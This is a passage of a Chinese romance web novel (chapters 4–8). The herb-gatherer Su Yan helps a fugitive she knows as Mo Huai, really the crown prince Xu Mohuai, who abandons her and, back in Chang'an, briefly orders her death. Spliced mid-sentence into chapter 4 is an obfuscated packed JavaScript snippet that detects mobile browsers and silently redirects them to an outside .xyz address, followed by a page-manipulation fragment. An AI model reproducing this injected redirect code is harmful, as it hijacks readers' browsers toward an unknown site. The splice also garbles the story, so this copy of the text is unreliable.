苏燕感觉到自己的手被人被握紧,伴随着仍旧滴答的雨声,身后人的声音就像是也被无限拉长,变得缓慢又潮湿,一点点侵袭着她的心脏。 “等回到长安,我们便成亲。” 她听到自己说:“好。” —— 翌日天明,晨光穿透枝叶间的缝隙,落在了莫淮的脸上。 恼人的雨水已经停了,地上却还是湿滑难行,官兵此时必定正在到处搜查他们的下落。 苏燕醒来的时候发现衣服还是湿哒哒的,不由地唉声叹气道:“该死的老天爷,非挑这个时候下雨。” 如今天亮了,她才看清自己才为莫淮做好的衣裳,如今东破一块西破一块的。他这样爱干净,却也不得不忍耐衣袍上沾染的泥水了。 苏燕想到自己之前为了买布花的半贯钱就忍不住心疼,她还从来没舍得买过这样好的布料,如今就像丢了钱一样的难受。 莫淮没有注意到她的情绪低落,回头看她还在怔愣着,不由皱眉道:“我们要快些离开。” 她回过神,点了点头,伸手拎起自己的竹篓子。 “拿它做什么?” 里面除了她在镇上买的杂货以外,还有油纸包着的半包糕点,还是昨日药铺东家给她的,她省着没吃,本想带回来给莫淮尝尝。 苏燕将糕点拿出来,油纸包得很严实,只浸了一点水。 “你还没用饭,吃块点心吧,也好有力气赶路。” 莫淮想拒绝,她却已经将纸包拆开了。 糕点已经被送到面前,他只好随意拈起一块送进口中。民间做的糕点并不精细,又甜又干味同嚼蜡,他面无表情的咽下后,一言不发转过身,没有注意到苏燕从期待转为落寞的眼神。 苏燕将一块半湿的点心吃完,品尝着对她而言难得的美味,只是失落了小小一会儿,很快就重新将糕点包好,跟上莫淮的脚步。长安有数不清的珍馐美馔,这样的点心在他眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16002108|178276||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 中必定是平平无奇,也没什么奇怪的,她当然能想明白。 苏燕只是有一丝的难过,她珍惜的东西,在莫淮那里根本不值一提。 —— 山地泥泞难行,苏燕凭着记忆,为莫淮指明方向。 日光逐渐刺目,二人身上的衣裳也慢慢的干透了。 苏燕正从一个陡峭的小路走过,小心地拨开那些遮挡的枝叶,却一时没注意脚下,猛地往一侧摔去,好在被她身后的莫淮及时给扯住,不至于让她滚落到荆棘堆里。 林间团团簇拥的藤蔓上长了许多粉白的花,风一吹花瓣就像下雪一样簌簌落下,苏燕小时候最喜欢这些野花,虽然秋冬时只剩干枯的藤,来年却又是一大片的花浪。 苏燕拉着莫淮的手,忽然指着那片野花说道:“长安也有这样的花吗?” 他瞧了一眼,说:“山野间约莫是有的,高门大户的墙院中却不曾见过,想来应是野花上不得台面。” 她眨了眨眼,笑道:“也许是因为他们的院子不比这山野广阔自在,野花就喜欢长在蓝天碧草间呢?” 他无所谓地笑笑。“兴许是吧。” 苏燕跳过一个大坑,发尾在背后一起一伏,轻盈的身姿像只燕鸟。 莫淮突然问她:“燕娘,你有什么心愿吗?” 苏燕没有回头,仍在小心地往前走,边走边用轻快的语气说道:“可多了,我都数不清。听闻洛阳牡丹开得最好,我还没见过牡丹是什么样子,一直想去看看。还想多攒些钱,买好看的衣裳,去云塘镇最好的酒楼,和那些官家娘子一样,戴那种走路会叮当响的钗子……” 她说得眉飞色舞,好似真瞧见了那美好的景象一般。若换做旁人,莫淮只觉得这人又傻又没前途,可苏燕这样说的时候,他竟觉得这个女子世俗到有几分可爱。 这句话莫淮对许多人说过,有人求着升官发财,也有人向他要黄金万两,唯独苏燕的心愿最简单,想要吃好穿好,去看洛阳的花,去赏长安的景。 然而他又有些讽刺地想,不过是因为她没见过世面,只当他是个有钱人家的郎君,若她见过繁华盛景,见过金屋银屋,必定也不会满足于这样微小的愿望。 苏燕灵巧地跃过水洼,回头看莫淮已经被甩在了身后。 她常年在山中采药,各种陡峭的山坡都爬过,这点山路自然不在话下。只是莫淮慢得有些出奇,连她也忍不住有些疑惑了,便又折回去拉了他一把。 然而苏燕一触到莫淮,他便像座大山一样压了过来,险些带得她一起倒下。 莫淮抱着苏燕,力气仿佛都被抽走一般。落在她颈项的呼吸又重又热,本来略显苍白的面颊也开始泛起不正常的红晕。 苏燕去摸他的额头,好一会儿才怔愣道:“阿郎,你好像是染了温病……” 说完后,连她自己都慌乱了起来。 5. 第 5 章 不用苏燕说,莫淮自己也能察觉到。 早晨开始便觉得浑身乏力,呼吸也滚烫得厉害,只是他一直强忍着不说,谁想到此刻竟撑不下去了。 面对苏燕关切又无奈的语气,莫淮突然觉得有些羞惭。 同样是淋雨后穿着湿透的衣物吹了凉风,苏燕一个娇弱的娘子无事,反倒是他突然却在此时生了热病,无端成了一个拖累。 苏燕毫无怨言,强行拉着他继续走,只是因为疲倦,一路上少了很多话。 山林之中倘若有什么异动,都能听得一清二楚,尤其是苏燕这样常年在山野间晃悠的人,任何不属于这里的动静她都能分辨出来。 在察觉到山中轻微的响动后,苏燕立刻站住不动,回身对莫淮做了一个噤声的手势,小声道:“有人。” 两人屏息凝神后,听到的声音便更清晰了。 来得人不算少,脚步杂乱无章,显然是来搜查他们的官兵。苏燕反应过来,半刻钟也不敢耽误,拉着莫淮走得更加迅速了。 她必须今夜天黑之前穿过这座山,若是走得快,明日天亮就能下山,走不远就能到云塘镇,届时官兵再想追上来就难了。 莫淮紧抿着唇,脸色已经不止是难看可以形容了。 那些官兵并未注意到他们,因此也只是在后方慢悠悠地乱晃。苏燕也只能万分小心,不引起他们的注意。 然而莫淮高热不止,状况越发的差了,走动时几次摇摇欲坠险些要倒下,苏燕只能半扛着他走。这样提心吊胆,一直到了夜幕降临,二人也没能走出去。 那些官兵越靠越近,最后终于发现了他们的响动,大呼一声:“谁在那儿!” 苏燕立刻按着莫淮蹲下,两人倚在一个微微凹进去的土坡中隐蔽身形,几个官兵冲过来,就在离他们五步远的地方转了一圈。 官兵没找到人,疑惑道:“方才就这边有动静。” 那官兵见不到人,不耐烦地向同伴抱怨:“这都找了一天一夜了,怎么还见不着人,真够能跑的。” 同伴叹口气,说道:“那没办法,主事说了,这次动静这么大,十有八九跟太子脱不了干系,无论是不是太子,只要抓到都能拿五十两黄金。万一我们走运碰上了,后半辈子衣食无忧……” “我就不信我们这么多人还抓不住一个逃犯,为了五十两黄金,翻了这座山头也值得。” 几人在抱怨的时候,苏燕就在离他们不远的地方抱着莫淮。 她不知道莫淮此刻在想什么,但是她心跳得飞快,就像擂鼓一样砰砰作响。 苏燕死死压着莫淮,一动也不敢动,连呼吸都变得缓慢,生怕一点动静就将官兵引过来。 一直等到脚步声远去许久,她才慢慢松了口气。却很快听身旁的莫淮有气无力地说:“燕娘,你不必管我,算了吧。” 冷白的月光从枝叶的缝隙间透过,斑驳地散落在莫淮身上,他的一张面容在黑夜中晦暗不明。说这些话的时候,语气显得又虚弱又可怜。 苏燕压低声音,小声道:“莫要胡说,你若被抓进去必定会被严刑拷打,今日就算背我也要背着你离开。” 莫淮已然没了力气,额头也滚烫一片,嗓子哑得快说不出话了。苏燕胆战心惊地扶着他又走了一段,终于还是累得停下,将他放置在一块凸起的大石后靠着。 莫淮意识已经有几分模糊,身子也变得无比沉重,昏昏沉沉的只知道握紧苏燕的手。 他躺在那里,却还是清晰地明白,无论如何他都不能被苏燕抛下,即便她是个微贱粗鄙的农女,也是此刻唯一能帮他的人。 一如当初被苏燕捡到那样,莫淮仰起脸,扯着苏燕的袖子让她俯下身,从前好听的嗓音变得沙哑无比,几乎是活下去的本能,让他对苏燕乞求。“不要留我一个人……燕娘,你不会丢下我的,是吗?” 苏燕半跪着,伸手摸了摸他干涩的唇。“我当然不会丢下你。” 她说:“那些人应当走远了,方才我走过看见一处水洼,附近有山泉,我去给你舀口水来。”随后她又不放心,将剩下的点心放到莫淮手上,交代他:“你先吃着,不然要走不动了。” 莫淮见她要走,下意识伸手去拉她却落了空,只见她回头小声说:“我很快回来。” 他紧抿着唇,呼出的气息都炙热难忍。 一闭眼就是当初在观音山下等死的那一刻,随着周身血液的流失,他能感受到自己正在衰弱的气息。即便只是最简单的呼吸,都能让他疼得浑身颤抖,一呼一吸间,都像是刀子在剐蹭他的心肺。 他比任何人都清楚的知道,为走到今日他废了多大的心血。 他不会再像一条濒死的野狗一般躺在山林中苟延残喘。 —— 苏燕果真没有看错,她轻易地找到了一条巴掌宽的小溪,从石缝间缓缓流出的泉水冰凉清澈,她用手捧着喝了几口后,摘了一片宽大的叶子叠成碗状舀了水,起身往回走去找莫淮。 她一路上小心翼翼,生怕一个不慎就引来官兵,亦或是摔倒洒了手中的水。 正当她已经看到那块大石头的时候,突然听到了些异样的响动。人脚踩在树叶上发出窸窣声响,伴随着树枝的折断声,如同几个棒槌同时在敲打她的神经。 苏燕屏住气息,朝着黑夜中多出的几个身影看去。 他们背对着苏燕,手上都拿着兵器。只需要再往前走,必定能发现被大石掩住身形的莫淮。 她脑子几乎炸开了,下一刻便想也不想地蹲下去,摸了一 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就在他们说话的时候,不慎滚落山坡的苏燕扒着一棵树,勉强让自己不会继续往下滚。然而方才磕到头上,她的脑袋已经是闷疼了,却不曾想竟有一根尖锐的断枝直接刺穿了她的右肩。 苏燕疼得差点叫出声来,是咬着手掌才勉强忍住,此刻的她额头冷汗直冒,手臂都因为这剧烈的疼痛而痉挛。 被断枝穿透的地方不断往外冒着血,苏燕想将它拔出来,捂着嘴害怕自己叫出声,然而只要稍微一动,疼痛便会蔓延四肢百骸,她蜷缩着身子颤抖,不断地大口呼吸着。 苏燕从前上山采药不是没有受过伤,却从来没有哪一次这么严重,疼得她几乎想满地打滚。然而她想到还在等着她回去的莫淮,仍是狠下心来,猛地往前一个探身,将自己和断枝分开了。 霎时间血如泉涌,疼得她眼前一黑,险些就要滚下山去。 四周没有路,都是及腰高的树堆和荆棘,她捂着肩膀的伤艰难往回走,每走一步都摇摇欲坠。 衣服已经被血水打湿了,夜色中如同绽开了一大团墨花。苏燕捂着伤口的手被染红了,血水随着手指蜿蜒到肘间,往下湿哒哒地滴落。 她走两步就会摔一跤,随着血水的流失,似乎身子也越来越冷,但她就吊着一口气,怎么都不肯停下。 时间似乎都被无线拉长,就好像走了一年那么久似的,她总算见到了那块大石头。 她的脚步越来越沉重,眼前止不住地发黑。 好在,终于到了。 苏燕撑着石头,虚弱地张了张口:“阿郎,我……” 话语戛然而止,她如同被什么糊住了嗓子,再难发出一点声音,只怔怔地看着那处。 大石背后,已经没有人了。 6. 第 6 章 云塘镇的官兵好些个都奉命去了山中搜查太子下落,一连许多日都没回来。 那些官兵多是迫于无奈拉过去充数的,与那些特意来镇上搜查的外地士兵不同,他们反正是不相信堂堂一个太子能缩在他们这山沟子里。 也是因此,在秦王手下忙着为赏金搜查的时候,他们只慢悠悠地跟在后面,准备敷衍地走个过场便下山去歇息。 那些外来的官兵都翻过一座山头了,云塘镇的本地兵吏还在后方磨蹭,准备找个时机就偷偷下山会镇子。他们三两个人走在一起抱怨这破差事,无意中却瞥见了地上暗红的血迹,几人循着血迹一路往上,终于见到了靠在大石上奄奄一息的女子。 云塘镇很小,常在镇上活动的人基本都打过照面。 立刻就有人觉得她面熟,说道:“这不是给每次替药铺采药的苏娘子吗?怎么成了这副模样?” 同伴说:“采个药能把自己伤成这样,还有气吗?” 有一人疑惑道:“她采药怎么跑这儿来了?正巧说跟着那外乡人一起跑的小娘子姓苏,可别是她吧。” 同行的人立刻拍了他一巴掌,没好气道:“管她是不是,一个外乡人,抓住了功劳也不是我们的,她要真跟着跑了还能伤成这样吗?万事都要等人醒了再说。” 一番争论下,最终他们还是选择将苏燕带下山,送去了镇上的药铺让东家给她治伤。 东家一见苏燕伤成这副惨状,又听几人七嘴八舌说着她身份可疑,便给他们沏了茶水,好言相劝将此事糊弄过去,只说是自己托她去山上采药,误打误撞与正在山上搜查的他们撞上。 几人都是同乡,虽然这话错漏百出,却也没想着深究下去,喝了东家的茶便回去交差。 苏燕右肩上被刺穿了一个狰狞的血洞,整个前胸的衣物都被染得猩红,额头与手臂上还有大大小小的擦伤。东家叫来妻子忙活了半日,才替她清理了伤口上好药。眼看着她半条命都没了,他就每隔一刻钟都去试探她的鼻息,以免她突然就一命呜呼。 一直到第二日,昏睡了一天一夜的苏燕才悠悠转醒。 她睁眼看到自己在陌生的地方,下意识就要爬起来,却牵动伤口疼得呻吟出声。 东家的夫人听见了动静,连忙走进里屋看她。 “哎呀!燕娘你可算醒了,可把我们吓坏了,怎得将自己折腾成这模样……” 她是个热心的妇人,知道苏燕身世可怜,从前还时不时将自己的旧衣物送与她。苏燕脑子仍混沌着,不知道自己为何突然到了这里。“孟娘子,我怎么会在这儿……” 她一开口,嗓子就像是叫那粗树皮给磨过了,干哑又难听,孟娘子叹了口气,起身给她倒了杯水。 “衙门的几个小郎君被带着去山里搜查了,恰好撞见你就剩一口气了在那儿躺着呢,好在他们几个有良心知道送你过来,不然血流干了你这命都保不住。”孟娘正满腹疑惑,但看着苏燕这幅面色苍白有气无力的模样,也不好在这个时候追问。 苏燕喝水喝得急了,猛地咳嗽起来,孟娘子拍着她的后背为她顺气,无奈道:“你说一个女儿家,怎得要跑去深山老林里……难不成那逃跑的外乡人,真与你有什么干系?” 苏燕被他们一家子救了,也不好瞒着,便实话道:“他是从外乡来的,因伤在我家休养了半年,谁知就要走了,马六却带着官兵来抓人,慌忙中我们只好躲进山里,谁晓得是这个下场……” “休养半年?”孟娘子怔然片刻,随后便对她劈头盖脸一顿教训,“你个不长心的丫头,竟让外男在家中住半年,临了出事你还帮着跑。现在好了,你为他险些把命搭进去,那混账男人去哪儿了?连个影子也没见着!” 苏燕仍有些执拗地想:“他当时正发温病,我摔下山去久久未归,兴许遇到官兵搜查先躲起来了吧……” 她本来就是要送莫淮离开的,不被官兵抓去大牢才是要紧事,反正二人有了约定,日后总能再相见。 苏燕伤口正疼着,也不敢乱动,只能问:“如今我正受了伤,也不好再去寻他,孟娘子可否替我打探一声,官兵有没有捉到什么人?” 药铺的东家正巧端了碗药进来,听到这话应声道:“搜查了这么久都没找见人,必定是没捉到了。听说明日镇上那些兵马就要被撤走,我就说这山沟沟里不可能有什么太子,白费功夫还闹得人心惶惶的。” 他将药递给苏燕,语气没比孟娘子好多少,指着她说:“还有心思操心旁人呢?要不是找到你的三个小郎君心肠好,早就扭着你送去衙门了。好端端帮着外乡人逃跑,人家跑了,你差点死在山里,没本事还学人好心,出息!” 东家也算看着苏燕长大的,难免就骂得狠些,苏燕连连说是,低着头乖巧认错。 苏燕听到他说莫淮没有被找到,悬着的心也算放下了,逐渐松口气,扬着笑脸和他们道谢。“东家和娘子待我这样好,等我回了家去,将新采的一筐药都给你送来,一文钱也不收。” 东家冷哼一声,说:“先别盼着回去,那外乡人跟你有干系,官兵八成就在你家守着,要是缺德点的,指不定一把火将你那屋子都给烧了。何况你这爬都爬不起来,回头死路上了。” 孟娘子拍了他一巴掌:“嘴里没个好话!” 苏燕知道东家这是为她好,听了这话也不生气,只道:“那便多谢东家了,要是能行的话,还请你得了空,若是见到那几位郎君,替我向他们道声谢。” 孟娘子仅育有一子一女,也都早早成家了,家中有空置的屋舍,索性留了苏燕在家里先养伤。 苏燕伤重没法做重活,便帮着东家抓药,她不识字,东家就给她说第几排第几个屉子,一来二去苏燕知道那上面的字都是什么意思了,接下来便也做得顺手。有人到药铺抓药,她便有意问起抓捕外乡人的事,始终不曾听闻莫淮被抓走,心中便渐渐放下心来。 若是莫淮为了躲避官兵,先走一步也好。之前他便说过接他的人就要到了,染了温病耽误不得,他应当已经与人重逢,先一步回长安去了吧。 苏燕倒是不觉得有什么,也许过不了多久,莫淮便能扳倒他的叔父,回到云塘镇将她接去长安。 —— 一驾马车从云塘镇凹凸不平的路上经过,马车颠簸着行驶,晃得人心中烦躁。 马车里传来几声咳嗽,驾车人立刻紧吊 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有那么一瞬,他是真的有些怨恨,苏燕看似如此爱他,却还是毫不犹豫将他丢下。走到这个位子,他当然知道人心不可全信,却不曾想连一个微贱的农妇亦是如此。 以苏燕的身份,在他的宫中做一个洒扫的婢女都不配。可看在二人的情分上,他也愿意大发慈悲,让她在东宫做一个侍妾,不用留在山村放牛种地,受些无赖的纠缠欺辱。 背叛他的人从来没有活着的道理,可徐墨怀的怒火又不仅仅是因为背叛。他也不知道自己的愤怒因何而来,等他一身狼狈的被部下迎上马车,立刻下令派人去找到苏燕,然后杀了她以泄心头之恨。 然而等人走出一里路了,他又命人去将那侍卫给召回。 不过是一个痴心妄想的农妇,他根本不该在意这些。 什么成婚什么往后,都不过是一个泡影。 等他召集了旧部攻下长安,便会回到金碧辉煌的高台之上,站在万人之巅做他的天子,谁又会记得一个贱若草芥的女人。 徐墨怀烦躁不堪,将手中的茶盏丢在案上,发出哐当的碰撞声,随后他再一抬手,突然摸到了一个微凉而柔软的物什。 将那东西取出来,他才发现是一个香囊。 原是那个雨夜,苏燕在山洞中交给他的。 直到现在,他才见到了这个香囊的全部面貌。与那件早已破烂不堪的衣裳一样的墨蓝料子,红色的系带上歪歪扭扭地绣着“莫淮”两个字。 这是苏燕写得最好的两个字了。 他想起什么,心中仿佛有团火不受控制地烧了起来,闭了闭眼,又是苏燕略显傻气的笑脸,怎么都挥散不去。 徐墨怀再看那香囊时便忍不住的皱眉,眼不见为净,还留着平添烦扰做什么。 他顺手掀开车帘,直接将香囊给丢了出去。 跟在后方的侍卫瞧见是马车里抛出来的,正想俯身看清楚是个什么东西,就听马车里的人冷冷说道:“去看着,谁敢捡起来就剁了他的手。” 这下子别说去捡,许多人是连看都不敢看一眼了,任由飞扬的尘土将那一点墨蓝给染得脏污。 7. 第 7 章 苏燕虽受了伤,干活却十分利索,东家让她不要急着想回家的事。她帮着外乡人逃跑,要是村子里有谁嫉恨她,例如马六一类的,指不准就趁着这个时候咬死不放,就等她回去了好将她送去官府。 这也正是苏燕担心的事,既然东家和夫人不嫌弃,她便安心在镇上暂住。没等她伤好了,果不其然,那些派来镇上搜查外乡人的官兵也都被撤走了。 正巧相邻的粮铺有个在衙门办事的郎君,东家望见了,便给苏燕指了指,说道:“喏,上次背你下山就有他一个。” 苏燕忙走过去,那郎君也瞧见了她,眉毛一挑,说道:“是你呀,伤好了吗?” “谢郎君记挂了,之前被几位救了性命,还不曾亲自上门答谢,若不是你们,我恐怕性命不保。” 苏燕说得真诚,目光也柔柔润润的,那郎君第一次被这么漂亮的小娘子盯着看,不禁就红了脸,腼腆道:“我们在衙门办事,这都是应该的,你没事了就好……” 如今秦王派下来的兵马都撤走了,他也不关心什么外乡人的事,便嘱咐道:“官府追捕外乡人也都是上头的吩咐,如今虽然看似没事了,但保不齐有好事的人喜欢追究,苏娘子还是在镇上避一避风头吧。且你家中的牛羊都让人给牵走充公了……” 他说着便有点不好意思了,毕竟他也是为公家做事的,抓不到人就把人家里的牛羊牵走,难免有点像强盗。 苏燕听到牛羊被牵走后愣了一下,但也没有计较太多,说道:“多谢郎君,我肯定记着。” 他点点头,又交代两句便走了。 苏燕这才叹口气,愁眉苦脸地回铺子。 她养了这么久的家畜,转头就被充了公,亏她昨日还忧心家中牛羊没人喂,这下可算好了。 东家听闻了这事,索性说:“正好我店里缺人打下手,你也无须想着回去,就先在这儿住下,等你伤好了去采药,还跟从前一个价。” 虽说没有工钱,但东家帮了她这么多,苏燕理应也不该计较,便暂时应下。 连着许久,她都再没有莫淮的消息。听闻之前走了几个商队,也多半能猜到莫淮是同人一起回去了。 她这些时日突然与他分别,心中实在不习惯,想到当时他哑着嗓子让她别走,她却去而不复返,便总是对此事难以忘怀。只可惜正是黑夜,她甚至没有回头多看他两眼。 对于分别的事,苏燕从前也不是没有想过,几次想到都觉得心中空落落的,只是不曾料到会是这样的方式。他们二人连好好道别的机会都没有,想说的话止于口中,再见遥遥无归期。 在药铺住得久了些,苏燕的伤也慢慢好了起来,只是右手臂只能取些轻巧的物件,不能提重物更不用抬高,伤口也都结了痂,看着丑陋狰狞的。 孟娘子替她上药,每每看到都要忍不住唏嘘。 “一个女儿家,以后留这么大个疤,看着多不好……” 苏燕只好苦笑:“那也没办法,总归身上大大小小的疤都有了,也不差这一个,穿上衣服谁看得到呢。” 孟娘子睨她一眼,小声道:“你日后的夫君总得看到,若他看了不喜欢,那该要怎么办?” 苏燕倒是没想过这一茬,愣了一下,随后就想到莫淮说过要娶她的事,说道:“我相信日后我的夫君不会嫌弃我身上的疤。” “你年纪小,哪里懂那些男人的坏心思。” 苏燕想了想,又说:“我受了这样重的伤,日后我的夫君看到了,应当是先心疼我所受的痛,若他反倒先来嫌弃这疤不好看,也说明他并非良人,不值得我托付终身。” 孟娘子觉得她说得也有几分道理,便只叹了几口气,没有再多说什么。 没过几日,东家就让苏燕去周家送药。周胥的私塾离药铺有一条街的距离,学生只有零星十几人。多是些商户人家将孩子送来教导,学会识字算数日后继承家业。 周胥的母亲身子不大好,他才需要时常到药铺来抓药。苏燕送药过去的时候,正巧看到周胥带着一帮孩子在学堂里读书。那些破旧的书都是他一张一张手抄下来,再分下去让学生的看的。好在他也算一个没落士族的旁支,虽然后来失了势,祖上却也有人做过大官,传给后人的也仅有几本旧书了。 周胥一身洗到发白的蓝袍,身姿挺拔模样周正,读书的时候总沉着一股气,像是时刻要对学生发作。 苏燕不好进去叨扰,便站在堂外默默地听着,尽管她都听不懂,却还是忍不住心生佩服。周胥将那些晦涩的话念上一遍,再简单的解释出来,底下学生听得兴致寥寥,唯有堂外的苏燕聚精会神。 没过多久,周胥就发现了在外窥看的人,放下书朝她走了过来。 苏燕一怔,随后不好意思地往后退了几步,忙对周胥说:“打扰周先生了,真是对不住。” 周胥轻笑一声,说道:“不算打扰,只是不想你竟来了,有一阵子不见你。” 她将手里的药包递过去:“是东家让我来为先生送药。” 周胥对她道了谢,便说:“既然来了,苏娘子便进屋喝口茶再走吧,正巧也快晌午,学生也要回去了。” 苏燕正想婉拒,周胥又说:“前阵子有人赠了我一块好墨,想起你之前问我哪里有卖的,如今赠给你正好。” 苏燕愣了一下,想起什么后又低落地垂下眼,说:“多谢先生好意,只是如今用不上了,还是你留着用吧,给了我岂不是糟践。” 周胥皱了下眉,却没有问其中缘由,只说:“送你不是糟践。” 苏燕再拒绝,他便不好强求,说道:“若得了空,也可以来此处喝口茶。从前见你有心识字,若不嫌弃,常来我这私塾看看,也并非不可。” 他这样说,倒真戳中了苏燕的小心思。 “那我先谢过先生了。” —— 第二日和东家交代一声,苏燕天不亮就启程回了马家村。 好在 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清水郡到长安乘着马车日夜赶路,也要半月才能到。 各大士族纷纷不满秦王专横自负,听闻太子仍旧在世,始终没敢在明面上倒戈秦王。徐墨怀回京的消息并未传开,就已经有人得了风声先一步站队。 徐晚音身为徐墨怀的胞妹,想法子去见他,才看了一眼便扑簌扑簌地掉眼泪。 “阿兄这是受了多少折磨,竟消瘦成这模样,我夜夜睡不好,还当你真的遭遇不测……” 徐墨怀玉冠束发,一身玄色深衣坐在书案前,一言不发地听着她哭,等她哭完了,才说:“林家这阵子如何,可有趁我失势对你落井下石?” 徐晚音眼神微动,而后还是咬着唇摇了摇头。 徐墨怀斜睨了她一眼,说:“我说过,你贵为公主,无须看他林照的脸色,若他当真不好,便休弃他另寻一位夫婿。” 徐晚音忍着眼泪,说出的话也没什么底气。“他待我没有不好……的确是我骄纵……” 徐晚音三番五次护着林照,徐墨怀便不好插手他们夫妻之间的事,遂不再追究。 “阿兄消失了这么长一阵子,究竟去了何处,我竟半点也没能寻到你的消息?” 他眼帘低垂,执笔的手顿了顿,凝结在笔尖的墨滴落纸上,如一朵墨花绽放。 “不是什么要紧事,没什么好问的。” 徐晚音点点头,扭头对着自己侍女说:“燕娘,去将阿兄的衣裳取来……” 徐墨怀突然抬起头,待望见那侍女的脸,便沉着眼,语气不善地问她:“她叫燕娘?” “怎么了?” 他冷冷地丢下一句:“给她换个名字。” 说完便没有后话了,连一句解释都没有,徐晚音迷茫地看了看自己的侍女,侍女也委屈得不敢抬头,丝毫不明白自己的名字怎么就惹了太子厌烦。 8. 第 8 章 到了要入夏的时节,苏燕的伤又疼又痒,夜里时常睡不安生。东家看她手脚忙利,索性雇了她在药铺里帮工。因为离马家村太远,她也不好回去,便让张大夫替她照看着大黄。 自从她来了,东家便有意要她去给周胥送药,回晚了也不会说什么。苏燕一来二去的,和周胥就更熟络了,时常在堂外看着他讲课。后来周胥索性让她坐到后排,跟着学生们一起听。虽然多半是听不懂的,但也没能消磨她的兴趣,反而比课上的学生们都要认真。 周胥似乎也乐见于她这个学生,例外抽出时间教她识字。 苏燕心中感激,又不知如何报答,索性回了村里将自己种的菜择了一大把给他送去。张大夫知道她回来,就坐在田埂边上,悠悠道:“那个周先生,待你还算不错,模样也生得端正……” 苏燕弯腰挑菜,漫不经心地应了一声。 张大夫见状,便苦口婆心地劝她:“那外乡人有什么好的,叫你如此死心塌地。要我说,他一看就是富家出身,离了这山村怕不是早回去享福了,哪里还记得你一介孤女。” 苏燕听了这些话心中闷得慌,择菜的动作也渐渐慢了,最后还是没法子装作没听见,只能直起腰说道:“张大夫,我知道你为我好,可有些事三言两语道不尽。我既然与他有约,便该一心等他回来。他走了才两月,我不该轻易断定他背信弃义,更不能就此变心与旁人相好,无论如何都要有始有终。” 他知晓苏燕的脾性,自小没了母亲,一直都是坚韧孤苦的长大,好不容易有了个人陪着,整日等她归家,夜深陪她坐在院子里看星择菜,说没有动心那都是骗人的。 苏燕从小到大生长在僻壤的村子,说不清吃了多少苦,好不容熬到长大,第一次喜欢人,就是一个清风朗月,貌似神仙的翩翩君子,要她如何能轻易忘却。只怕是见过这样的男子,再难对旁人动心了。 张大夫心知苏燕的性子倔强,不是外人三言两语就能改变,也不好再强硬地说什么,只盼那男子当真是个有情有义的,不辜负苏燕一片痴心。 自从家中被官兵搜查过,村子里就出了些风言风语,说苏燕和她娘一样是上不得台面的暗娼,背着人做些皮肉生意,还未成婚就和男人睡到一张床上。 苏燕从小到大不知道被传了多少难听话,甚至走在地里都有不知哪来的癞子问她值几多钱,苏燕对此的回应是挥起手中的柴刀,从小到大一直如此。 她若当着如此在意流言蜚语,早就因为羞愧跳河而死了。 —— 比起周围人所说的莫淮背信弃义,苏燕更担心他是否是遭了他叔父的毒手,遇到什么不顺的事了。 莫淮从前写信的废纸都被丢到了灶房引火用,苏燕去翻找了许久,才找到了两张完好的。将上面的地址撕下来,去找周胥询问是否是他告知的那一个。 周胥拿着半截信纸,望见上面短短一行字,下笔却是金钩铁划,骨气通达。一看便是出自士族子弟,让他这自诩才识不凡的人也自惭形秽。 士族望门收揽天下才子,无论是古籍经典还是大家字帖,普通人穷极一生也无法窥见的东西,就放在他们的书房随意翻阅丢弃。 周胥手指微微用力,捏着那张纸,问她:“这是你那位友人的字?” 苏燕点了点头,见他铁青着脸,便问:“是有什么差错吗?” 周胥心中郁结一股气,也说不清是什么原因,有些堵得厉害。约莫是因为对方必定出身名门,家住长安必定仕途顺畅,而他只是个没落世家,只能沦落在乡野间教些朽才,而生出一丝不可言说的嫉恨。 他并未表露出自己不满,只是沉了语气,貌似关切地说:“这上面写着长安崇安坊青環苑,此人大概出身不凡。” 他祖上也是在长安住过的,崇安坊临近皇宫,连宅院都是一等一的贵,八成是什么达官贵人。虽说他早知苏燕捡了个外乡人回去,却也不曾想对方来头竟不小。 周胥眼神微动,却仍是没有全盘告知,反问:“他为人如何?” 苏燕说:“我与他相处的时日,至少他是极谦逊有礼的男子,一看便气度非凡,也并未因人说我的不好而轻视于我。想来也是位有情有义的人,等处理完要事,定会回来寻我。” “他告诉你的地方与信上的确是同一个。” 苏燕立刻高高兴兴地说:“那便好,这下我能写信给他了。” 周胥知道她识字不多,更逞论写信,便说:“若你不嫌弃,我可以代你写信寄去。” 苏燕想了想,还是说:“虽然我的字不堪入目了些,但我还是想着亲自写给他最好,不知先生可否指教我,以免我出错太多惹了笑话。” “自然可以。” 说是指教,其实几乎是他写字,苏燕照着临摹罢了,只因她会的字实在太少,即便认识了也不会写。然而话却是苏燕自己想的,直白质朴毫无修饰,也没什么见不得人的。无非是问他莫淮在长安可好,身体是否康健,家中的事是否太棘手。末了又说了一些无意义的闲话,例如后山被她开垦了一小块田地,还没定下究竟种什么好…… 大概是因为觉得不好意思麻烦周胥,苏燕没有再写太多,连问他何时归来都没有。 连周胥看了苏燕的字都忍不住皱眉,却也知道她已经是尽力了,且唯独收信人的名字勉强能看,也不知能写出这般字迹的男子,看到这些歪歪扭扭的字会是什么感想。 —— 偏远的村镇总是消息迟缓许多,太子平安无事返回长安的事传遍了,也只引得闲人在茶余饭后说上两句,还不如一场大雨要更让他们关心。 徐墨怀早已回到长安,在暗处既是修养也是等待时机。好让他看得再清楚些,有哪些人胆大包天趁着他不在妄图夺权。狼子野心的人又何止一个秦王,不过是有心无力翻不起太大的风浪,也幸运地给自己留了后路。 秦王依附者众多,不乏有士族名门。全因皇上想推行科举,而此事落到了徐墨怀的头上,对此反响最激烈的便是那些名门望族的人,生怕寒门入仕,阻了他们在朝中的路。 推行科举必定少不了怨气滔天,秦王借势笼络士族,想趁此机会夺权,甚至连徐墨怀的身边 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林家是士族中最鼎盛的门第之一,徐晚音如愿以偿嫁给了林氏二房的嫡长子林照。而丞相之女林馥则是林照的堂妹,与徐墨怀是从小定下的婚约。徐墨怀不在的这段时日,为了压制秦王与各大士族,林家可谓是出了不少力。皇室与士族,早已是一荣俱荣,一损俱损。 